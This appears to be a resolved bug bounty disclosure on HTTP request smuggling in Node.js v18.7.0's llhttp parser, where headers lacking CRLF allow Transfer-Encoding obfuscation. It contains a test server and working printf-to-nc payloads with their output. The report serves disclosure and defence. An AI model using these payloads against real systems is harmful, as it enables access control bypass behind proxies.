Loading HuntDB...

HTTP Request Smuggling Due to Incorrect Parsing of Header Fields

Medium
N
Node.js
Submitted None
Reported by vvx7

Vulnerability Details

Technical details and impact analysis

HTTP Request Smuggling
**Summary:** The `llhttp` parser in the `http` module in Node v18.7.0 does not correctly handle header fields that are not terminated with CLRF. This may result in HTTP Request Smuggling. **Description:** The following chunked request is processed. It should be rejected as `Transfer-Encoding` header obfuscation may result in HRS when the upstream proxy does not process the `Transfer-Encoding` header. A header that precedes the `Transfer-Encoding`, contains an empty value, and is not properly delimited with CLRF may be used for TE obfuscation. ``` POST / HTTP/1.1 Host: localhost:5000 x:\nTransfer-Encoding: chunked 1 A 0 ``` The request is rejected when the preceding header has a value but improper CLRF. ``` POST / HTTP/1.1 Host: localhost:5000 x:x\nTransfer-Encoding: chunked 1 A 0 ``` ## Steps To Reproduce: Server Run the server: `node app.js` ```js // https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/ const http = require('http'); http.createServer((request, response) => { let body = []; request.on('error', (err) => { response.end("Request Error: " + err) }).on('data', (chunk) => { body.push(chunk); }).on('end', () => { body = Buffer.concat(body).toString(); // log the body to stdout to catch the smuggled request console.log("Response"); console.log(request.headers); console.log(body); console.log("---"); response.on('error', (err) => { // log the body to stdout to catch the smuggled request response.end("Response Error: " + err) }); response.end("Body length: " + body.length.toString() + " Body: " + body); }); }).listen(5000); ``` Payload ```bash printf "POST / HTTP/1.1\r\n"\ "Host: localhost\r\n"\ " x:\nTransfer-Encoding: chunked\r\n"\ "\r\n"\ "1\r\n"\ "A\r\n"\ "0\r\n"\ "\r\n" | nc localhost 5000 ``` Output ``` HTTP/1.1 200 OK Date: Sat, 20 Aug 2022 02:59:38 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 22 Body length: 1 Body: A ``` Note: ```bash printf "POST / HTTP/1.1\r\n"\ "Host: localhost\r\n"\ " Transfer-Encoding: yeet\r\n"\ " Transfer-Encoding: \n"\ " Transfer-Encoding: chunked\r\n"\ "\r\n"\ "1\r\n"\ "A\r\n"\ "0\r\n"\ "\r\n" | nc localhost 5000 ``` This also works with the resulting wonky header: ``` HTTP/1.1 200 OK Date: Sat, 20 Aug 2022 03:06:09 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 22 Body length: 1 Body: A Response { host: 'localhost:5000', 'transfer-encoding': 'yeet, , chunked' } A ``` ## Impact: HRS can lead to access control bypass and other issues. ## Supporting Material/References: {F1875064} https://hackerone.com/reports/1501679 https://hackerone.com/reports/1238709 ## Impact HTTP Request Smuggling can lead to access control bypass.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

HTTP Request Smuggling